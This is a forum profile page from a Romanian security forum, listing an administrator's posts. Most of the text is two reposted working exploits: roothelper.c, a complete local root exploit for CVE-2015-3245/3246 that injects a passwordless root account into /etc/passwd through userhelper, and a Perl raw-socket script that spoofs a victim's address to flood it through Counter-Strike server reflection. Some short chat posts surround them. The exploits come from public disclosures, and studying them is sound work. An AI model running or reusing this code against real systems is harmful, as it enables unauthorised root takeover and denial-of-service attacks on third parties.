Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    707

Everything posted by Nytro

  1. BINE. Adevarul tot va iesi la iveala, asa ca nu voi prelungi asteptarea si va voi dezvalui un secret din strafundurile RST-ului... @Reckon !
  2. roothelper.c - userhelper / libuser /* * roothelper.c - an unusual local root exploit against: * CVE-2015-3245 userhelper chfn() newline filtering * CVE-2015-3246 libuser passwd file handling * Copyright (C) 2015 Qualys, Inc. * * gecos_* types and functions inspired by userhelper.c * Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc. * * UH_* #defines and comments inspired by userhelper.h * Copyright (C) 1997-2001, 2007 Red Hat, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ #define _GNU_SOURCE #include <ctype.h> #include <errno.h> #include <fcntl.h> #include <inttypes.h> #include <limits.h> #include <pwd.h> #include <sched.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/inotify.h> #include <sys/resource.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> /* A maximum GECOS field length. There's no hard limit, so we guess. */ #define GECOS_LENGTH 127 typedef char gecos_field[GECOS_LENGTH]; /* A structure to hold broken-out GECOS data. The number and names of the * fields are dictated entirely by the flavor of finger we use. Seriously. */ struct gecos_data { gecos_field full_name; /* full user name */ gecos_field office; /* office */ gecos_field office_phone; /* office phone */ gecos_field home_phone; /* home phone */ gecos_field site_info; /* other stuff */ }; static struct userhelper { struct gecos_data gecos; rlim_t fsizelim; pid_t pid; int fd; } userhelpers[GECOS_LENGTH]; static void die_in_parent(const char *const file, const unsigned int line, const char *const function) { fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function); fflush(stderr); unsigned int i; for (i = 0; i < GECOS_LENGTH; i++) { const pid_t pid = userhelpers[i].pid; if (pid <= 0) continue; kill(pid, SIGKILL); } _exit(EXIT_FAILURE); } static void die_in_child(const char *const file, const unsigned int line, const char *const function) { fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function); exit(EXIT_FAILURE); } static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent; #define die() die_fn(__FILE__, __LINE__, __func__) static void * xmalloc(const size_t size) { if (size <= 0) die(); if (size >= INT_MAX) die(); void *const ptr = malloc(size); if (ptr == NULL) die(); return ptr; } static void * xrealloc(void *const old, const size_t size) { if (size <= 0) die(); if (size >= INT_MAX) die(); void *const new = realloc(old, size); if (new == NULL) die(); return new; } static char * xstrndup(const char *const old, const size_t len) { if (old == NULL) die(); if (len >= INT_MAX) die(); char *const new = strndup(old, len); if (new == NULL) die(); if (len != strlen(new)) die(); return new; } static int xsnprintf(char *const str, const size_t size, const char *const format, ...) { if (str == NULL) die(); if (size <= 0) die(); if (size >= INT_MAX) die(); if (format == NULL) die(); va_list ap; va_start(ap, format); const int len = vsnprintf(str, size, format, ap); va_end(ap); if (len < 0) die(); if ((unsigned int)len >= size) die(); if ((unsigned int)len != strlen(str)) die(); return len; } static int xopen(const char *const pathname, const int flags) { if (pathname == NULL) die(); if (*pathname != '/') die(); if (flags != O_RDONLY) die(); const int fd = open(pathname, flags); if (fd <= -1) die(); static const struct flock rdlock = { .l_type = F_RDLCK, .l_whence = SEEK_SET, .l_start = 0, .l_len = 0 }; if (fcntl(fd, F_SETLK, &rdlock) != 0) die(); return fd; } static void xclose(const int fd) { if (fd <= -1) die(); static const struct flock unlock = { .l_type = F_UNLCK, .l_whence = SEEK_SET, .l_start = 0, .l_len = 0 }; if (fcntl(fd, F_SETLK, &unlock) != 0) die(); if (close(fd) != 0) die(); } #define GECOS_BADCHARS ":,=\n" /* A simple function to compute the size of a gecos string containing the * data we have. */ static size_t gecos_size(const struct gecos_data *const parsed) { if (parsed == NULL) die(); size_t len = 4; /* commas! */ len += strlen(parsed->full_name); len += strlen(parsed->office); len += strlen(parsed->office_phone); len += strlen(parsed->home_phone); len += strlen(parsed->site_info); len++; return len; } /* Parse the passed-in GECOS string and set PARSED to its broken-down contents. Note that the parsing is performed using the convention obeyed by BSDish finger(1) under Linux. */ static void gecos_parse(const char *const gecos, struct gecos_data *const parsed) { if (gecos == NULL) die(); if (strlen(gecos) >= INT_MAX) die(); if (parsed == NULL) die(); memset(parsed, 0, sizeof(*parsed)); unsigned int i; const char *field = gecos; for (i = 0; ; i++) { const char *field_end = strchrnul(field, ','); gecos_field *dest = NULL; switch (i) { case 0: dest = &parsed->full_name; break; case 1: dest = &parsed->office; break; case 2: dest = &parsed->office_phone; break; case 3: dest = &parsed->home_phone; break; case 4: field_end = rawmemchr(field_end, '\0'); dest = &parsed->site_info; break; default: die(); } const size_t field_len = field_end - field; xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field); if (strlen(*dest) != field_len) die(); if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die(); if (*field_end == '\0') break; field = field_end + 1; } if (gecos_size(parsed) > GECOS_LENGTH) die(); } /* Assemble a new gecos string. */ static const char * gecos_assemble(const struct gecos_data *const parsed) { static char ret[GECOS_LENGTH]; size_t i; if (parsed == NULL) die(); /* Construct the basic version of the string. */ xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s", parsed->full_name, parsed->office, parsed->office_phone, parsed->home_phone, parsed->site_info); /* Strip off terminal commas. */ i = strlen(ret); while ((i > 0) && (ret[i - 1] == ',')) { ret[i - 1] = '\0'; i--; } return ret; } /* Descriptors used to communicate between userhelper and consolhelper. */ #define UH_INFILENO 3 #define UH_OUTFILENO 4 /* Userhelper request format: request code as a single character, request data size as UH_REQUEST_SIZE_DIGITS decimal digits request data '\n' */ #define UH_REQUEST_SIZE_DIGITS 8 /* Synchronization point code. */ #define UH_SYNC_POINT 32 /* Valid userhelper request codes. */ #define UH_ECHO_ON_PROMPT 34 #define UH_ECHO_OFF_PROMPT 35 #define UH_EXPECT_RESP 39 #define UH_SERVICE_NAME 40 #define UH_USER 42 /* Consolehelper response format: response code as a single character, response data '\n' */ /* Consolehelper response codes. */ #define UH_TEXT 33 /* Valid userhelper error codes. */ #define ERR_UNK_ERROR 255 /* unknown error */ /* Paths, flag names, and other stuff. */ #define UH_PATH "/usr/sbin/userhelper" #define UH_FULLNAME_OPT "-f" #define UH_OFFICE_OPT "-o" #define UH_OFFICEPHONE_OPT "-p" #define UH_HOMEPHONE_OPT "-h" static char read_request(const int fd, char *const data, const size_t size) { if (fd <= -1) die(); if (data == NULL) die(); if (size >= INT_MAX) die(); char header[1 + UH_REQUEST_SIZE_DIGITS + 1]; if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die(); header[sizeof(header)-1] = '\0'; errno = 0; char *endptr = NULL; const unsigned long len = strtoul(&header[1], &endptr, 10); if (errno != 0 || endptr != &header[sizeof(header)-1]) die(); if (len >= size) die(); if (read(fd, data, len+1) != (ssize_t)(len+1)) die(); if (data[len] != '\n') die(); data[len] = '\0'; if (strlen(data) != len) die(); if (strchr(data, '\n') != NULL) die(); return header[0]; } static void send_reply(const int fd, const unsigned char type, const char *const data) { if (fd <= -1) die(); if (!isascii(type)) die(); if (!isprint(type)) die(); if (data == NULL) die(); if (strpbrk(data, "\r\n") != NULL) die(); char buf[BUFSIZ]; const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data); if (send(fd, buf, len, MSG_NOSIGNAL) != len) die(); } #define ETCDIR "/etc" #define PASSWD "/etc/passwd" #define BACKUP "/etc/passwd-" static struct { char username[64]; char password[64]; struct gecos_data gecos; } my; static volatile sig_atomic_t is_child_dead; static void sigchild_handler(const int signum __attribute__ ((__unused__))) { is_child_dead = true; } static int wait_for_userhelper(struct userhelper *const uh, const int options) { if (uh == NULL) die(); if (uh->pid <= 0) die(); if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die(); int status; for ( { const pid_t pid = waitpid(uh->pid, &status, options); if (pid == uh->pid) break; if (pid > 0) _exit(255); if (pid != -1) die(); if (errno != EINTR) die(); } if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1; return status; } static void forkstop_userhelper(struct userhelper *const uh) { if (uh == NULL) die(); if (uh->pid != 0) die(); if (gecos_size(&uh->gecos) > GECOS_LENGTH) die(); struct rlimit fsize; if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die(); if (uh->fsizelim > fsize.rlim_max) die(); if (uh->fsizelim <= 0) die(); fsize.rlim_cur = uh->fsizelim; cpu_set_t old_cpus; CPU_ZERO(&old_cpus); if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die(); { const int cpu = sched_getcpu(); if (cpu >= CPU_SETSIZE) die(); if (cpu < 0) die(); cpu_set_t new_cpus; CPU_ZERO(&new_cpus); CPU_SET(cpu, &new_cpus); if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); } int sv[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die(); if (is_child_dead) die(); static const struct sigaction sigchild_action = { .sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP }; if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die(); uh->pid = fork(); if (uh->pid <= -1) die(); if (uh->pid == 0) { die_fn = die_in_child; if (close(sv[1]) != 0) die(); if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die(); if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die(); const int devnull_fd = open("/dev/null", O_RDWR); if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die(); if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die(); if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die(); if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die(); if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die(); if (setpriority(PRIO_PROCESS, 0, +19) != 0) die(); static const struct sched_param sched_param = { .sched_priority = 0 }; (void) sched_setscheduler(0, SCHED_IDLE, &sched_param); char *const argv[] = { UH_PATH, UH_FULLNAME_OPT, uh->gecos.full_name, UH_OFFICE_OPT, uh->gecos.office, UH_OFFICEPHONE_OPT, uh->gecos.office_phone, UH_HOMEPHONE_OPT, uh->gecos.home_phone, NULL }; char *const envp[] = { NULL }; execve(UH_PATH, argv, envp); die(); } if (die_fn != die_in_parent) die(); if (close(sv[0]) != 0) die(); uh->fd = sv[1]; unsigned long expected_responses = 0; for ( { char data[BUFSIZ]; const char type = read_request(uh->fd, data, sizeof(data)); if (type == UH_SYNC_POINT) break; switch (type) { case UH_USER: if (strcmp(data, my.username) != 0) die(); break; case UH_SERVICE_NAME: if (strcmp(data, "chfn") != 0) die(); break; case UH_ECHO_ON_PROMPT: case UH_ECHO_OFF_PROMPT: if (++expected_responses == 0) die(); break; case UH_EXPECT_RESP: if (strtoul(data, NULL, 10) != expected_responses) die(); break; default: break; } } if (expected_responses != 1) die(); const int lpasswd_fd = xopen(PASSWD, O_RDONLY); const int inotify_fd = inotify_init(); if (inotify_fd <= -1) die(); if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE | IN_OPEN) <= -1) die(); if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) { if (errno != ENOENT) die(); if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die(); } send_reply(uh->fd, UH_TEXT, my.password); send_reply(uh->fd, UH_SYNC_POINT, ""); if (close(uh->fd) != 0) die(); uh->fd = -1; unsigned int state = 0; static const uint32_t transition[] = { IN_CLOSE_WRITE, IN_CLOSE_NOWRITE, IN_OPEN, 0 }; for ( { if (is_child_dead) die(); char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)]; const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer)); if (is_child_dead) die(); if (_buflen <= 0) die(); size_t buflen = _buflen; if (buflen > sizeof(buffer)) die(); struct inotify_event *ep; for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep); ep = (struct inotify_event *)(ep->name + ep->len)) { buflen -= sizeof(*ep); if (ep->len > 0) { if (buflen < ep->len) die(); buflen -= ep->len; if ((ep->mask & IN_CREATE) == 0) die(); (void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE); continue; } if (ep->len != 0) die(); while ((ep->mask & transition[state]) != 0) { ep->mask &= ~transition[state++]; if (transition[state] == 0) goto stop_userhelper; } } if (buflen != 0) die(); } stop_userhelper: if (kill(uh->pid, SIGSTOP) != 0) die(); if (close(inotify_fd) != 0) die(); const int status = wait_for_userhelper(uh, WUNTRACED); if (!WIFSTOPPED(status)) die(); if (WSTOPSIG(status) != SIGSTOP) die(); xclose(lpasswd_fd); if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die(); if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die(); } static void continue_userhelper(struct userhelper *const uh) { if (uh == NULL) die(); if (uh->fd != -1) die(); if (uh->pid <= 0) die(); if (kill(uh->pid, SIGCONT) != 0) die(); { const int status = wait_for_userhelper(uh, WCONTINUED); if (!WIFCONTINUED(status)) die(); } { const int status = wait_for_userhelper(uh, 0); if (!WIFEXITED(status)) die(); if (WEXITSTATUS(status) != ((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); } memset(uh, 0, sizeof(*uh)); } static void create_backup_of_passwd_file(void) { char backup[] = "/tmp/passwd-XXXXXX"; const mode_t prev_umask = umask(077); const int ofd = mkstemp(backup); (void) umask(prev_umask); if (ofd <= -1) die(); printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup); const int ifd = xopen(PASSWD, O_RDONLY); for ( { char buf[BUFSIZ]; const ssize_t len = read(ifd, buf, sizeof(buf)); if (len == 0) break; if (len <= 0) die(); if (write(ofd, buf, len) != len) die(); } xclose(ifd); if (close(ofd) != 0) die(); } static void delete_lines_from_passwd_file(void) { struct gecos_data gecos; memset(&gecos, 0, sizeof(gecos)); xsnprintf(gecos.site_info, sizeof(gecos.site_info), "%s", my.gecos.site_info); const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos); if (fullname_max >= GECOS_LENGTH) die(); if (fullname_max <= 0) die(); char fragment[64]; xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username); char *contents = NULL; for ( { struct stat st; const int fd = xopen(PASSWD, O_RDONLY); if (fstat(fd, &st) != 0) die(); if (st.st_size >= INT_MAX) die(); if (st.st_size <= 0) die(); contents = xrealloc(contents, st.st_size + 1); if (read(fd, contents, st.st_size) != st.st_size) die(); contents[st.st_size] = '\0'; xclose(fd); const char *cp = strstr(contents, fragment); if (cp == NULL) die(); cp = strchr(cp + 2, '\n'); if (cp == NULL) die(); if (cp[1] == '\0') break; char *const tp = contents + st.st_size-1; *tp = '\0'; if (tp <= cp) die(); if (tp - cp > fullname_max) cp = tp - fullname_max; cp = strpbrk(cp, "\n:, "); if (cp == NULL) die(); const ssize_t fullname_len = tp - cp; if (fullname_len >= GECOS_LENGTH) die(); if (fullname_len <= 0) die(); printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD); struct userhelper *const uh = &userhelpers[0]; memset(uh->gecos.full_name, 'A', fullname_len); uh->fsizelim = st.st_size; forkstop_userhelper(uh); continue_userhelper(uh); uh->fsizelim = RLIM_INFINITY; forkstop_userhelper(uh); continue_userhelper(uh); } free(contents); } static size_t passwd_fsize; static int generate_userhelpers(const char *); #define IS_USER_LAST "last user in passwd file?" static char candidate_users[256]; static char superuser_elect; int main(void) { create_backup_of_passwd_file(); { char candidate[] = "a"; for (; candidate[0] <= 'z'; candidate[0]++) { if (getpwnam(candidate) != NULL) continue; strcat(candidate_users, candidate); } } if (candidate_users[0] == '\0') die(); const struct passwd *const pwd = getpwuid(getuid()); if ((pwd == NULL) || (pwd->pw_name == NULL)) die(); xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name); gecos_parse(pwd->pw_gecos, &my.gecos); if (fputs("Please enter your password:\n", stdout) == EOF) die(); if (fgets(my.password, sizeof(my.password), stdin) == NULL) die(); char *const newline = strchr(my.password, '\n'); if (newline == NULL) die(); *newline = '\0'; { struct userhelper *const uh = &userhelpers[0]; uh->fsizelim = RLIM_INFINITY; forkstop_userhelper(uh); continue_userhelper(uh); } retry: if (generate_userhelpers(IS_USER_LAST)) { struct userhelper *const uh1 = &userhelpers[1]; strcpy(uh1->gecos.full_name, "\n"); uh1->fsizelim = passwd_fsize + 1; struct userhelper *const uh0 = &userhelpers[0]; uh0->fsizelim = passwd_fsize; forkstop_userhelper(uh1), forkstop_userhelper(uh0); continue_userhelper(uh1), continue_userhelper(uh0); if (generate_userhelpers(IS_USER_LAST)) die(); } static const char a[] = "?::0:0::/:"; printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD); const int n = generate_userhelpers(a); if (n == -1) { static int retries; if (retries++) die(); memset(userhelpers, 0, sizeof(userhelpers)); delete_lines_from_passwd_file(); goto retry; } if (n <= 0) die(); if (n >= GECOS_LENGTH) die(); if (superuser_elect == '\0') die(); int i; for (i = n; --i >= 0; ) { printf("Starting and stopping userhelper #%d\n", i); forkstop_userhelper(&userhelpers[i]); } for (i = n; --i >= 0; ) { printf("Continuing stopped userhelper #%d\n", i); continue_userhelper(&userhelpers[i]); } printf("Exploit successful, run \"su %c\" to become root\n", (int)superuser_elect); { struct userhelper *const uh = &userhelpers[0]; uh->fsizelim = RLIM_INFINITY; uh->gecos = my.gecos; forkstop_userhelper(uh); continue_userhelper(uh); } exit(EXIT_SUCCESS); } static void generate_fullname(char *const fullname, const ssize_t fullname_len, const char c) { if (fullname == NULL) die(); if (fullname_len < 0) die(); if (fullname_len >= GECOS_LENGTH) die(); memset(fullname, 'A', fullname_len); if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) { if (!isascii((unsigned char)c)) die(); if (!isgraph((unsigned char)c)) die(); fullname[fullname_len-1] = c; } } static size_t siteinfo_len; static size_t fullname_off; static size_t before_fullname_len; static char * before_fullname; static size_t after_fullname_len; static char * after_fullname; static int generate_userhelper(const char *const a, const int i, char *const contents) { if (i < 0) { if (i != -1) die(); return 0; } if (a == NULL) die(); if ((unsigned int)i >= strlen(a)) die(); if (contents == NULL) die(); const char _c = a[i]; const bool is_user_wildcard = (_c == '?'); const char c = (is_user_wildcard ? candidate_users[0] : _c); if (c == '\0') die(); const size_t target = passwd_fsize-1 + i; const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1; if (fsizelim < passwd_fsize) die(); const size_t contents_len = strlen(contents); if (contents_len < passwd_fsize) die(); if (contents_len <= fullname_off) die(); char *const fullname = contents + fullname_off; if (memcmp(fullname - before_fullname_len, before_fullname, before_fullname_len) != 0) die(); const char *rest = strchr(fullname, '\n'); if (rest == NULL) die(); rest++; const ssize_t fullname_len = (rest - fullname) - after_fullname_len; if (fullname_len >= GECOS_LENGTH) die(); if (fullname_len < 0) die(); if (rest[-1] != '\n') die(); generate_fullname(fullname, fullname_len, c); memcpy(fullname + fullname_len, after_fullname, after_fullname_len); if (rest[-1] != '\n') die(); if (memcmp(rest - after_fullname_len, after_fullname, after_fullname_len) != 0) die(); size_t offset; for (offset = fullname_off; offset < contents_len; offset++) { const char x = contents[offset]; if (x == '\0') die(); if (is_user_wildcard) { if (strchr(candidate_users, x) == NULL) continue; superuser_elect = x; } else { if (x != c) continue; } const ssize_t new_fullname_len = fullname_len + (target - offset); if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */ if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue; if (offset < fullname_off + fullname_len) { if (offset != fullname_off + fullname_len-1) die(); if (new_fullname_len == 0) continue; } if (offset >= contents_len-1) { if (offset != contents_len-1) die(); if (fsizelim != RLIM_INFINITY) continue; } { char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH); memcpy(new_contents, contents, fullname_off); generate_fullname(new_contents + fullname_off, new_fullname_len, c); memcpy(new_contents + fullname_off + new_fullname_len, contents + fullname_off + fullname_len, contents_len+1 - (fullname_off + fullname_len)); if (strlen(new_contents) != contents_len + (new_fullname_len - fullname_len)) die(); if (fsizelim != RLIM_INFINITY) { if (fsizelim >= strlen(new_contents)) die(); if (fsizelim >= contents_len) die(); memcpy(new_contents + fsizelim, contents + fsizelim, contents_len+1 - fsizelim); } const int err = generate_userhelper(a, i-1, new_contents); free(new_contents); if (err < 0) continue; } if (i >= GECOS_LENGTH) die(); struct userhelper *const uh = &userhelpers[i]; memset(uh, 0, sizeof(*uh)); uh->fsizelim = fsizelim; if (new_fullname_len >= GECOS_LENGTH) die(); generate_fullname(uh->gecos.full_name, new_fullname_len, c); return 0; } return -1; } static int generate_userhelpers(const char *const _a) { char a[GECOS_LENGTH]; if (_a == NULL) die(); const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a); if (n >= GECOS_LENGTH) die(); if (n <= 0) die(); const int fd = xopen(PASSWD, O_RDONLY); struct stat st; if (fstat(fd, &st) != 0) die(); if (st.st_size >= 10*1024*1024) die(); if (st.st_size <= 0) die(); passwd_fsize = st.st_size; char *const contents = xmalloc(passwd_fsize + 1); if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die(); xclose(fd); contents[passwd_fsize] = '\0'; if (strlen(contents) != passwd_fsize) die(); if (contents[passwd_fsize-1] != '\n') die(); char fragment[64]; xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username); const char *line = strstr(contents, fragment); if (line == NULL) die(); line++; const char *rest = strchr(line, '\n'); if (rest == NULL) die(); if (rest <= line) die(); rest++; if (strcmp(_a, IS_USER_LAST) == 0) { const bool is_user_last = (*rest == '\0'); free(contents); return is_user_last; } unsigned int i; const char *field = line; for (i = 0; i <= 5; i++) { const char *const field_end = strchr(field, ':'); if (field_end == NULL) die(); if (field_end >= rest) die(); const size_t field_len = field_end - field; switch (i) { case 0: if (field_len != strlen(my.username)) die(); if (memcmp(field, my.username, field_len) != 0) die(); break; case 1: if (*field != 'x') die(); break; case 2: if (strtoimax(field, NULL, 10) != getuid()) die(); break; case 3: if (strtoimax(field, NULL, 10) != getgid()) die(); break; case 4: { char assembled[GECOS_LENGTH]; xsnprintf(assembled, sizeof(assembled), "%.*s", (int)field_len, field); if (strlen(assembled) != field_len) die(); struct gecos_data gecos; memset(&gecos, 0, sizeof(gecos)); xsnprintf(gecos.site_info, sizeof(gecos.site_info), "%s", my.gecos.site_info); if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die(); } siteinfo_len = strlen(my.gecos.site_info); fullname_off = field - contents; before_fullname_len = field - line; before_fullname = xstrndup(line, before_fullname_len); after_fullname_len = rest - field; after_fullname = xstrndup(field, after_fullname_len); break; case 5: if (*field != '/') die(); break; default: die(); } field = field_end + 1; } const int err = generate_userhelper(a, n-1, contents); free(before_fullname), before_fullname = NULL; free(after_fullname), after_fullname = NULL; free(contents); return (err < 0) ? -1 : n; } Sursa: http://securityvulns.com/files/roothelper.c
  3. Incepand cu mijlocul lui august vom mai rezolva dintre problemele de pe forum.
  4. @Vlachs sa decida, stie cel mai bine.
  5. Si ce cacat mai mult voiai sa facem? Sa facem cheta sa iti dam banii? Nu e vina noastra ca va luati tepe. De fapt, ne doare in pula ca va luati, faptul ca dam ban e o fapta buna pentru care ar trebui sa ne multumiti.
  6. [h=1]Counter-Strike 1.6 'GameInfo' Query Reflection DoS PoC[/h] #!/usr/bin/perl # # Counter-Strike 1.6 'GameInfo' Query Reflection DoS # Proof Of Concept # # Copyright 2015 (c) Todor Donev # todor.donev@gmail.com # http://www.ethical-hacker.org/ # https://www.facebook.com/ethicalhackerorg # http://pastebin.com/u/hackerscommunity # # # Disclaimer: # This or previous program is for Educational # purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the # fact that Todor Donev is not liable for any # damages caused by direct or indirect use of the # information or functionality provided by these # programs. The author or any Internet provider # bears NO responsibility for content or misuse # of these programs or any derivatives thereof. # By using these programs you accept the fact # that any damage (dataloss, system crash, # system compromise, etc.) caused by the use # of these programs is not Todor Donev's # responsibility. # # Use at your own risk and educational # purpose ONLY! # # See also, UDP-based Amplification Attacks: # https://www.us-cert.gov/ncas/alerts/TA14-017A # # # perl cstrike-drdos-poc.pl 46.165.194.16 192.168.1.10 27010 # [ Counter-Strike 1.6 'GameInfo' query reflection dos poc # [ Sending GameInfo requests: 46.165.194.16 -> 192.168.1.10 # ^C # # # tcpdump -i eth0 -c4 port 27010 # tcpdump: verbose output suppressed, use -v or -vv for full protocol decode # listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes # 00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25 # 00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392 # 00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25 # 00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392 # 4 packets captured # 4 packets received by filter # 0 packets dropped by kernel use strict; use Socket; use warnings; no warnings 'uninitialized'; print "[ Counter-Strike 1.6 \'GameInfo\' query reflection dos poc\n"; die "[ Sorry, must be run as root. This script use RAW Socket.\n" if ($< != 0); my $css = (gethostbyname($ARGV[0]))[4]; # IP Address Destination (32 bits) my $victim = (gethostbyname($ARGV[1]))[4]; # IP Address Source (32 bits) my $port = $ARGV[2] || '27015'; # Int between 1 and 65535 Default: 27015 die "[ Port must be between 1 and 65535!\n" if ($port < 1 || $port > 65535); if (!defined $css || !defined $victim) { print "[ Usg: $0 <cstrike server> <victim> <port>\n"; print "[ Default port: 27015\n"; print "[ <todor.donev\@gmail.com> Todor Donev\n"; exit; } print "[ Sending GameInfo requests: $ARGV[0] -> $ARGV[1]\n"; socket(RAW, AF_INET, SOCK_RAW, 255) || die $!; setsockopt(RAW, 0, 1, 1) || die $!; main(); # Main program sub main { my $packet; $packet = iphdr(); $packet .= udphdr(); $packet .= cshdr(); # b000000m... send_packet($packet); } # IP header (Layer 3) sub iphdr { my $ip_ver = 4; # IP Version 4 (4 bits) my $iphdr_len = 5; # IP Header Length (4 bits) my $ip_tos = 0; # Differentiated Services (8 bits) my $ip_total_len = $iphdr_len + 20; # IP Header Length + Data (16 bits) my $ip_frag_id = 0; # Identification Field (16 bits) my $ip_frag_flag = 000; # IP Frag Flags (R DF MF) (3 bits) my $ip_frag_offset = 0000000000000; # IP Fragment Offset (13 bits) my $ip_ttl = 255; # IP TTL (8 bits) my $ip_proto = 17; # IP Protocol (8 bits) my $ip_checksum = 0; # IP Checksum (16 bits) # IP Packet my $iphdr = pack( 'H2 H2 n n B16 h2 c n a4 a4', $ip_ver . $iphdr_len, $ip_tos, $ip_total_len, $ip_frag_id, $ip_frag_flag . $ip_frag_offset, $ip_ttl, $ip_proto, $ip_checksum, $victim, $css ); return $iphdr; } # UDP Header (Layer 4) sub udphdr { my $udp_src_port = 31337; # UDP Sort Port (16 bits) (0-65535) my $udp_dst_port = $port; # UDP Dest Port (16 btis) (0-65535) my $udp_len = 8 + length(cshdr()); # UDP Length (16 bits) (0-65535) my $udp_checksum = 0; # UDP Checksum (16 bits) (XOR of header) # UDP Packet my $udphdr = pack( 'n n n n', $udp_src_port, $udp_dst_port, $udp_len, $udp_checksum ); return $udphdr; } # Counter-Strike 'GameInfo' request sub cshdr { # # https://developer.valvesoftware.com/wiki/Server_queries # # https://developer.valvesoftware.com/wiki/Source_RCON_Protocol # Requests # The server responds to 5 queries: # # A2S_INFO 'T' (0x54) # Basic information about the server. # A2S_PLAYER 'U' (0x55) # Details about each player on the server. # A2S_RULES 'V' (0x56) # The rules the server is using. # A2A_PING 'i' (0x69) # Ping the server. (DEPRECATED) # A2S_SERVERQUERY_GETCHALLENGE 'W' (0x57) # Returns a challenge number for use in the player and rules query. (DEPRECATED) # # Queries should be sent in UDP packets to the listen port of the server. # # 25 bytes - A2S_INFO my $query = "\xff\xff\xff\xff\x54"; # 0000 ff ff ff ff 54 53 6f 75 72 63 65 20 45 6e 67 69 ....TSource Engi $query .= "\x53\x6f\x75\x72\x63"; # 0010 6e 65 20 51 75 65 72 79 00 ne Query. $query .= "\x65\x20\x45\x6e\x67"; $query .= "\x69\x6e\x65\x20\x51"; $query .= "\x75\x65\x72\x79\x00"; my $cshdr = pack('a*', $query); return $cshdr; } sub send_packet { while(1){ select(undef, undef, undef, 0.40); # Sleep 400 milliseconds send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $css)) || die $!; } } Sursa: https://www.exploit-db.com/exploits/37669/
  7. Pics or didn't happen.
